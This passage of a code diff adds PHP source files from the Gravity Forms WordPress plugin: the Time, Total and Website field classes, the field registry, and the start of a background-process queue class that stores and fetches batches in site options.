$ampm_tabindex = $this->get_tabindex();
|
||||
|
||||
$is_html5 = RGFormsModel::is_html5_enabled();
|
||||
$input_type = $is_html5 ? 'number' : 'text';
|
||||
|
||||
$max_hour = $this->timeFormat == '24' ? 24 : 12;
|
||||
$hour_html5_attributes = $is_html5 ? "min='0' max='{$max_hour}' step='1'" : '';
|
||||
$minute_html5_attributes = $is_html5 ? "min='0' max='59' step='1'" : '';
|
||||
|
||||
$ampm_field_style = $is_form_editor && $this->timeFormat == '24' ? "style='display:none;'" : '';
|
||||
if ( $is_form_editor || $this->timeFormat != '24' ) {
|
||||
$am_text = esc_html__( 'AM', 'gravityforms' );
|
||||
$pm_text = esc_html__( 'PM', 'gravityforms' );
|
||||
$ampm_field = $is_sub_label_above ? "<div class='gfield_time_ampm ginput_container ginput_container_time' {$ampm_field_style}>
|
||||
<label for='{$field_id}_3'> </label>
|
||||
<select name='input_{$id}[]' id='{$field_id}_3' $ampm_tabindex {$disabled_text}>
|
||||
<option value='am' {$am_selected}>{$am_text}</option>
|
||||
<option value='pm' {$pm_selected}>{$pm_text}</option>
|
||||
</select>
|
||||
</div>"
|
||||
: "<div class='gfield_time_ampm ginput_container ginput_container_time' {$ampm_field_style}>
|
||||
<select name='input_{$id}[]' id='{$field_id}_3' $ampm_tabindex {$disabled_text}>
|
||||
<option value='am' {$am_selected}>{$am_text}</option>
|
||||
<option value='pm' {$pm_selected}>{$pm_text}</option>
|
||||
</select>
|
||||
</div>";
|
||||
} else {
|
||||
$ampm_field = '';
|
||||
}
|
||||
|
||||
$hour_label = rgar( $hour_input, 'customLabel' ) != '' ? $hour_input['customLabel'] : esc_html__( 'HH', 'gravityforms' );
|
||||
$minute_label = rgar( $minute_input, 'customLabel' ) != '' ? $minute_input['customLabel'] : esc_html( _x( 'MM', 'Abbreviation: Minutes', 'gravityforms' ) );
|
||||
|
||||
if ( $is_sub_label_above ) {
|
||||
return "<div class='clear-multi'>
|
||||
<div class='gfield_time_hour ginput_container ginput_container_time' id='{$field_id}'>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$hour_label}</label>
|
||||
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$hour}' {$hour_tabindex} {$hour_html5_attributes} {$disabled_text} {$hour_placeholder_attribute}/> <i>:</i>
|
||||
</div>
|
||||
<div class='gfield_time_minute ginput_container ginput_container_time'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$minute_label}</label>
|
||||
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$minute}' {$minute_tabindex} {$minute_html5_attributes} {$disabled_text} {$minute_placeholder_attribute}/>
|
||||
</div>
|
||||
{$ampm_field}
|
||||
</div>";
|
||||
} else {
|
||||
return "<div class='clear-multi'>
|
||||
<div class='gfield_time_hour ginput_container ginput_container_time' id='{$field_id}'>
|
||||
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_1' value='{$hour}' {$hour_tabindex} {$hour_html5_attributes} {$disabled_text} {$hour_placeholder_attribute}/> <i>:</i>
|
||||
<label for='{$field_id}_1' {$sub_label_class_attribute}>{$hour_label}</label>
|
||||
</div>
|
||||
<div class='gfield_time_minute ginput_container ginput_container_time'>
|
||||
<input type='{$input_type}' maxlength='2' name='input_{$id}[]' id='{$field_id}_2' value='{$minute}' {$minute_tabindex} {$minute_html5_attributes} {$disabled_text} {$minute_placeholder_attribute}/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$minute_label}</label>
|
||||
</div>
|
||||
{$ampm_field}
|
||||
</div>";
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Adds additional classes to the field labels.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field::get_field_content()
|
||||
*
|
||||
* @return string The class string to use for the Time field.
|
||||
*/
|
||||
public function get_field_label_class(){
|
||||
return 'gfield_label gfield_label_before_complex';
|
||||
}
|
||||
|
||||
/**
|
||||
* Determines if any of the submission values are empty.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDisplay::is_empty()
|
||||
*
|
||||
* @param int $form_id The form ID.
|
||||
*
|
||||
* @return bool True if empty. False otherwise.
|
||||
*/
|
||||
public function is_value_submission_empty( $form_id ) {
|
||||
$value = rgpost( 'input_' . $this->id );
|
||||
if ( is_array( $value ) ) {
|
||||
// Date field and date drop-downs.
|
||||
foreach ( $value as $input ) {
|
||||
if ( strlen( trim( $input ) ) <= 0 ) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
} else {
|
||||
|
||||
// Date picker.
|
||||
return strlen( trim( $value ) ) <= 0;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Prepares the field value to be saved after an entry is submitted.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormsModel::prepare_value()
|
||||
*
|
||||
* @param string $value The value to prepare.
|
||||
* @param array $form The Form Object. Not used.
|
||||
* @param string $input_name The name of the input. Not used.
|
||||
* @param int $lead_id The entry ID. Not used.
|
||||
* @param array $lead The Entry Object. Not used.
|
||||
*
|
||||
* @return array|string The field value, prepared and stripped of tags.
|
||||
*/
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
if ( empty( $value ) && ! is_array( $value ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// If $value is a default value and also an array, it will be an associative array; to be safe, let's convert all array $value to numeric.
|
||||
if ( is_array( $value ) ) {
|
||||
$value = array_values( $value );
|
||||
}
|
||||
|
||||
if ( ! is_array( $value ) && ! empty( $value ) ) {
|
||||
preg_match( '/^(\d*):(\d*) ?(.*)$/', $value, $matches );
|
||||
$value = array();
|
||||
$value[0] = $matches[1];
|
||||
$value[1] = $matches[2];
|
||||
$value[2] = rgar( $matches, 3 );
|
||||
}
|
||||
|
||||
$hour = wp_strip_all_tags( $value[0] );
|
||||
$minute = wp_strip_all_tags( $value[1] );
|
||||
$ampm = wp_strip_all_tags( rgar( $value, 2 ) );
|
||||
if ( ! empty( $ampm ) ) {
|
||||
$ampm = " $ampm";
|
||||
}
|
||||
|
||||
if ( ! ( rgblank( $hour ) && rgblank( $minute ) ) ) {
|
||||
$value = sprintf( '%02d:%02d%s', $hour, $minute, $ampm );
|
||||
} else {
|
||||
$value = '';
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Overrides GF_Field to prevent the standard input ID from being used.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @return null
|
||||
*/
|
||||
public function get_entry_inputs() {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Support for legacy Time fields which did not have an inputs array.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GF_Field::get_field_content()
|
||||
* @uses GF_Field::get_first_input_id()
|
||||
*
|
||||
* @param array $form The Form Object
|
||||
*
|
||||
* @return string The first input ID.
|
||||
*/
|
||||
public function get_first_input_id( $form ) {
|
||||
|
||||
// Legacy (< 1.9) Time fields did not have an inputs array.
|
||||
if ( ! is_array( $this->inputs ) ){
|
||||
return 'input_' . $form['id'] . '_' . $this->id . '_1';
|
||||
}
|
||||
|
||||
return parent::get_first_input_id( $form );
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitizes settings for the Time field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::add_field()
|
||||
* @used-by GFFormsModel::sanitize_settings()
|
||||
* @uses GF_Field::sanitize_settings
|
||||
* @uses GF_Field_Time::$timeFormat
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
if ( ! $this->timeFormat || ! in_array( $this->timeFormat, array( 12, 24 ) ) ) {
|
||||
$this->timeFormat = '12';
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Register the Time field with the field framework.
|
||||
GF_Fields::register( new GF_Field_Time() );
|
||||
97
includes/fields/class-gf-field-total.php
Normal file
97
includes/fields/class-gf-field-total.php
Normal file
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Total extends GF_Field {
|
||||
|
||||
public $type = 'total';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'label_setting',
|
||||
'admin_label_setting',
|
||||
'label_placement_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Total', 'gravityforms' );
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
if ( $is_entry_detail ) {
|
||||
return "<div class='ginput_container ginput_container_total'>
|
||||
<input type='text' name='input_{$id}' value='{$value}' />
|
||||
</div>";
|
||||
} else {
|
||||
return "<div class='ginput_container ginput_container_total'>
|
||||
<span class='ginput_total ginput_total_{$form_id}'>" . GFCommon::to_money( '0' ) . "</span>
|
||||
<input type='hidden' name='input_{$id}' id='{$field_id}' class='gform_hidden'/>
|
||||
</div>";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
return GFCommon::to_money( $value, $currency );
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
$lead = empty( $lead ) ? RGFormsModel::get_lead( $lead_id ) : $lead;
|
||||
$value = GFCommon::get_order_total( $form, $lead );
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
return GFCommon::to_money( $value, $entry['currency'] );
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GFCommon::to_number()
|
||||
* @uses GFCommon::to_money()
|
||||
* @uses GFCommon::format_variable_value()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
$format_numeric = $modifier == 'price';
|
||||
|
||||
$value = $format_numeric ? GFCommon::to_number( $value ) : GFCommon::to_money( $value );
|
||||
|
||||
return GFCommon::format_variable_value( $value, $url_encode, $esc_html, $format );
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Total() );
|
||||
101
includes/fields/class-gf-field-website.php
Normal file
101
includes/fields/class-gf-field-website.php
Normal file
@@ -0,0 +1,101 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Website extends GF_Field {
|
||||
|
||||
public $type = 'website';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Website', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
if ( empty( $value ) || $value == 'http://' ) {
|
||||
$value = '';
|
||||
if ( $this->isRequired ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! empty( $value ) && ! GFCommon::is_valid_url( $value ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid Website URL (e.g. http://www.gravityforms.com).', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$form_id = $form['id'];
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$size = $this->size;
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$is_html5 = RGFormsModel::is_html5_enabled();
|
||||
$html_input_type = $is_html5 ? 'url' : 'text';
|
||||
|
||||
$max_length = is_numeric( $this->maxLength ) ? "maxlength='{$this->maxLength}'" : '';
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$value = esc_attr( $value );
|
||||
$class = esc_attr( $class );
|
||||
|
||||
return "<div class='ginput_container ginput_container_website'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='$html_input_type' value='{$value}' class='{$class}' {$max_length} {$tabindex} {$logic_event} {$disabled_text} {$placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
|
||||
</div>";
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
$safe_value = esc_url( $value );
|
||||
return GFCommon::is_valid_url( $value ) && $format == 'html' ? "<a href='$safe_value' target='_blank'>$safe_value</a>" : $safe_value;
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
if ( $value == 'http://' ) {
|
||||
$value = '';
|
||||
}
|
||||
|
||||
return filter_var( $value, FILTER_VALIDATE_URL );
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Website() );
|
||||
1257
includes/fields/class-gf-field.php
Normal file
1257
includes/fields/class-gf-field.php
Normal file
File diff suppressed because it is too large
Load Diff
103
includes/fields/class-gf-fields.php
Normal file
103
includes/fields/class-gf-fields.php
Normal file
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
require_once( plugin_dir_path( __FILE__ ) . 'class-gf-field.php' );
|
||||
|
||||
class GF_Fields {
|
||||
|
||||
public static $deprecation_notice_fired = false;
|
||||
|
||||
/* @var GF_Field[] */
|
||||
private static $_fields = array();
|
||||
|
||||
public static function register( $field ) {
|
||||
if ( ! is_subclass_of( $field, 'GF_Field' ) ) {
|
||||
throw new Exception( 'Must be a subclass of GF_Field' );
|
||||
}
|
||||
if ( empty( $field->type ) ) {
|
||||
throw new Exception( 'The type must be set' );
|
||||
}
|
||||
if ( isset( self::$_fields[ $field->type ] ) ) {
|
||||
throw new Exception( 'Field type already registered: ' . $field->type );
|
||||
}
|
||||
self::$_fields[ $field->type ] = $field;
|
||||
}
|
||||
|
||||
public static function exists( $field_type ) {
|
||||
return isset( self::$_fields[ $field_type ] );
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $field_type
|
||||
*
|
||||
* @return GF_Field
|
||||
*/
|
||||
public static function get_instance( $field_type ) {
|
||||
return isset( self::$_fields[ $field_type ] ) ? self::$_fields[ $field_type ] : false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Alias for get_instance()
|
||||
*
|
||||
* @param $field_type
|
||||
*
|
||||
* @return GF_Field
|
||||
*/
|
||||
public static function get( $field_type ) {
|
||||
return self::get_instance( $field_type );
|
||||
}
|
||||
|
||||
/**
|
||||
* Return all the registered field types.
|
||||
*
|
||||
* @return GF_Field[]
|
||||
*/
|
||||
public static function get_all() {
|
||||
return self::$_fields;
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates a Field object from an array of field properties.
|
||||
*
|
||||
* @param array|GF_Field $properties
|
||||
*
|
||||
* @return GF_Field | bool
|
||||
*/
|
||||
public static function create( $properties ) {
|
||||
if ( $properties instanceof GF_Field ) {
|
||||
$type = $properties->type;
|
||||
$type = empty( $properties->inputType ) ? $type : $properties->inputType;
|
||||
} else {
|
||||
$type = isset( $properties['type'] ) ? $properties['type'] : '';
|
||||
$type = empty( $properties['inputType'] ) ? $type : $properties['inputType'];
|
||||
}
|
||||
|
||||
if ( empty( $type ) || ! isset( self::$_fields[ $type ] ) ) {
|
||||
return new GF_Field( $properties );
|
||||
}
|
||||
$class = self::$_fields[ $type ];
|
||||
$class_name = get_class( $class );
|
||||
$field = new $class_name( $properties );
|
||||
|
||||
/**
|
||||
* Filter the GF_Field object after it is created.
|
||||
*
|
||||
* @since 1.9.18.2
|
||||
*
|
||||
* @param GF_Field $field A GF_Field object.
|
||||
* @param array $properties An array of field properties used to generate the GF_Field object.
|
||||
*
|
||||
* @see https://docs.gravityforms.com/gform_gf_field_create/
|
||||
*/
|
||||
return apply_filters( 'gform_gf_field_create', $field, $properties );
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// load all the field files automatically
|
||||
foreach ( glob( plugin_dir_path( __FILE__ ) . 'class-gf-field-*.php' ) as $gf_field_filename ) {
|
||||
require_once( $gf_field_filename );
|
||||
}
|
||||
2
includes/fields/index.php
Normal file
2
includes/fields/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
2
includes/index.php
Normal file
2
includes/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php
|
||||
//Nothing to see here
|
||||
2572
includes/legacy/forms_model_legacy.php
Normal file
2572
includes/legacy/forms_model_legacy.php
Normal file
File diff suppressed because it is too large
Load Diff
714
includes/libraries/gf-background-process.php
Normal file
714
includes/libraries/gf-background-process.php
Normal file
@@ -0,0 +1,714 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* GF Background Process
|
||||
*
|
||||
* Based on WP_Background_Process
|
||||
* https://github.com/A5hleyRich/wp-background-processing/blob/master/classes/wp-background-process.php
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
|
||||
if ( ! class_exists( 'GF_Background_Process' ) ) {
|
||||
|
||||
/**
|
||||
* Abstract GF_Background_Process class.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @abstract
|
||||
* @extends WP_Async_Request
|
||||
*/
|
||||
abstract class GF_Background_Process extends WP_Async_Request {
|
||||
|
||||
/**
|
||||
* Action
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* (default value: 'background_process')
|
||||
*
|
||||
* @var string
|
||||
* @access protected
|
||||
*/
|
||||
protected $action = 'background_process';
|
||||
|
||||
/**
|
||||
* Start time of current process.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* (default value: 0)
|
||||
*
|
||||
* @var int
|
||||
* @access protected
|
||||
*/
|
||||
protected $start_time = 0;
|
||||
|
||||
/**
|
||||
* Cron_hook_identifier
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @var mixed
|
||||
* @access protected
|
||||
*/
|
||||
protected $cron_hook_identifier;
|
||||
|
||||
/**
|
||||
* Cron_interval_identifier
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @var mixed
|
||||
* @access protected
|
||||
*/
|
||||
protected $cron_interval_identifier;
|
||||
|
||||
/**
|
||||
* Query_url
|
||||
*
|
||||
* @since 2.3
|
||||
*
|
||||
* @var string
|
||||
* @access protected
|
||||
*/
|
||||
protected $query_url;
|
||||
|
||||
/**
|
||||
* Initiate new background process
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
public function __construct() {
|
||||
parent::__construct();
|
||||
|
||||
$this->query_url = admin_url( 'admin-ajax.php' );
|
||||
$this->cron_hook_identifier = $this->identifier . '_cron';
|
||||
$this->cron_interval_identifier = $this->identifier . '_cron_interval';
|
||||
|
||||
add_action( $this->cron_hook_identifier, array( $this, 'handle_cron_healthcheck' ) );
|
||||
add_filter( 'cron_schedules', array( $this, 'schedule_cron_healthcheck' ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Dispatches the queued tasks to Admin Ajax for processing and schedules a cron job in case processing fails.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @access public
|
||||
*
|
||||
* @return array|WP_Error
|
||||
*/
|
||||
public function dispatch() {
|
||||
GFCommon::log_debug( sprintf( '%s(): Running for %s.', __METHOD__, $this->action ) );
|
||||
|
||||
if ( $this->is_queue_empty() ) {
|
||||
$this->clear_scheduled_event();
|
||||
|
||||
$dispatched = new WP_Error( 'queue_empty', 'Nothing left to process' );
|
||||
} else {
|
||||
// Schedule the cron healthcheck.
|
||||
$this->schedule_event();
|
||||
|
||||
// Perform remote post.
|
||||
$dispatched = parent::dispatch();
|
||||
}
|
||||
|
||||
if ( is_wp_error( $dispatched ) ) {
|
||||
GFCommon::log_debug( sprintf( '%s(): Unable to dispatch tasks to Admin Ajax: %s', __METHOD__, $dispatched->get_error_message() ) );
|
||||
}
|
||||
|
||||
return $dispatched;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the dispatch request arguments.
|
||||
*
|
||||
* @since 2.3-rc-2
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
protected function get_post_args() {
|
||||
$post_args = parent::get_post_args();
|
||||
|
||||
// Blocking prevents some issues such as cURL connection errors being reported.
|
||||
unset( $post_args['blocking'] );
|
||||
|
||||
return $post_args;
|
||||
}
|
||||
|
||||
/**
|
||||
* Push to queue
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @param mixed $data Data.
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function push_to_queue( $data ) {
|
||||
$this->data[] = $data;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Save queue
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function save() {
|
||||
$key = $this->generate_key();
|
||||
|
||||
if ( ! empty( $this->data ) ) {
|
||||
$data = array(
|
||||
'blog_id' => get_current_blog_id(),
|
||||
'data' => $this->data,
|
||||
);
|
||||
update_site_option( $key, $data );
|
||||
}
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Update queue
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @param string $key Key.
|
||||
* @param array $data Data.
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function update( $key, $data ) {
|
||||
if ( ! empty( $data ) ) {
|
||||
$old_value = get_site_option( $key );
|
||||
if ( $old_value ) {
|
||||
$data = array(
|
||||
'blog_id' => get_current_blog_id(),
|
||||
'data' => $data,
|
||||
);
|
||||
update_site_option( $key, $data );
|
||||
}
|
||||
}
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete queue
|
||||
*
|
||||
* @param string $key Key.
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function delete( $key ) {
|
||||
delete_site_option( $key );
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate key
|
||||
*
|
||||
* Generates a unique key based on microtime. Queue items are
|
||||
* given a unique key so that they can be merged upon save.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @param int $length Length.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected function generate_key( $length = 64 ) {
|
||||
$unique = md5( microtime() . rand() );
|
||||
$prepend = $this->identifier . '_batch_blog_id_' . get_current_blog_id() . '_';
|
||||
|
||||
return substr( $prepend . $unique, 0, $length );
|
||||
}
|
||||
|
||||
/**
|
||||
* Maybe process queue
|
||||
*
|
||||
* Checks whether data exists within the queue and that
|
||||
* the process is not already running.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
public function maybe_handle() {
|
||||
GFCommon::log_debug( sprintf( '%s(): Running for %s.', __METHOD__, $this->action ) );
|
||||
|
||||
// Don't lock up other requests while processing
|
||||
session_write_close();
|
||||
|
||||
if ( $this->is_process_running() ) {
|
||||
// Background process already running.
|
||||
wp_die();
|
||||
}
|
||||
|
||||
if ( $this->is_queue_empty() ) {
|
||||
// No data to process.
|
||||
wp_die();
|
||||
}
|
||||
|
||||
check_ajax_referer( $this->identifier, 'nonce' );
|
||||
|
||||
$this->handle();
|
||||
|
||||
wp_die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Is queue empty
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function is_queue_empty() {
|
||||
global $wpdb;
|
||||
|
||||
$table = $wpdb->options;
|
||||
$column = 'option_name';
|
||||
|
||||
if ( is_multisite() ) {
|
||||
$table = $wpdb->sitemeta;
|
||||
$column = 'meta_key';
|
||||
}
|
||||
|
||||
$key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%';
|
||||
|
||||
$count = $wpdb->get_var( $wpdb->prepare( "
|
||||
SELECT COUNT(*)
|
||||
FROM {$table}
|
||||
WHERE {$column} LIKE %s
|
||||
", $key ) );
|
||||
|
||||
return ( $count > 0 ) ? false : true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Is process running
|
||||
*
|
||||
* Check whether the current process is already running
|
||||
* in a background process.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
protected function is_process_running() {
|
||||
$running = false;
|
||||
$lock_timestamp = get_site_option( $this->identifier . '_process_lock' );
|
||||
if ( $lock_timestamp ) {
|
||||
|
||||
$lock_duration = ( property_exists( $this, 'queue_lock_time' ) ) ? $this->queue_lock_time : 60; // 1 minute
|
||||
$lock_duration = apply_filters( $this->identifier . '_queue_lock_time', $lock_duration );
|
||||
|
||||
if ( microtime( true ) - $lock_timestamp > $lock_duration ) {
|
||||
$this->unlock_process();
|
||||
} else {
|
||||
$running = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $running;
|
||||
}
|
||||
|
||||
/**
|
||||
* Lock process
|
||||
*
|
||||
* Lock the process so that multiple instances can't run simultaneously.
|
||||
* Override if applicable, but the duration should be greater than that
|
||||
* defined in the time_exceeded() method.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
protected function lock_process() {
|
||||
$this->start_time = time(); // Set start time of current process.
|
||||
|
||||
update_site_option( $this->identifier . '_process_lock', microtime( true ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Unlock process
|
||||
*
|
||||
* Unlock the process so that other instances can spawn.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function unlock_process() {
|
||||
delete_site_option( $this->identifier . '_process_lock' );
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get batch
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @return stdClass Return the first batch from the queue
|
||||
*/
|
||||
protected function get_batch() {
|
||||
global $wpdb;
|
||||
|
||||
$table = $wpdb->options;
|
||||
$column = 'option_name';
|
||||
$key_column = 'option_id';
|
||||
$value_column = 'option_value';
|
||||
|
||||
if ( is_multisite() ) {
|
||||
$table = $wpdb->sitemeta;
|
||||
$column = 'meta_key';
|
||||
$key_column = 'meta_id';
|
||||
$value_column = 'meta_value';
|
||||
}
|
||||
|
||||
$key = $wpdb->esc_like( $this->identifier . '_batch_blog_id_' . get_current_blog_id() . '_' ) . '%';
|
||||
|
||||
$sql = "
|
||||
SELECT *
|
||||
FROM {$table}
|
||||
WHERE {$column} LIKE %s
|
||||
ORDER BY {$key_column} ASC
|
||||
LIMIT 1
|
||||
";
|
||||
|
||||
$query = $wpdb->get_row( $wpdb->prepare( $sql, $key ) );
|
||||
|
||||
if ( empty( $query ) ) {
|
||||
// No more batches for this blog ID. Get the next one in the queue regardless of the blog ID.
|
||||
$key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%';
|
||||
$query = $wpdb->get_row( $wpdb->prepare( $sql, $key ) );
|
||||
}
|
||||
|
||||
$batch = new stdClass();
|
||||
$batch->key = $query->$column;
|
||||
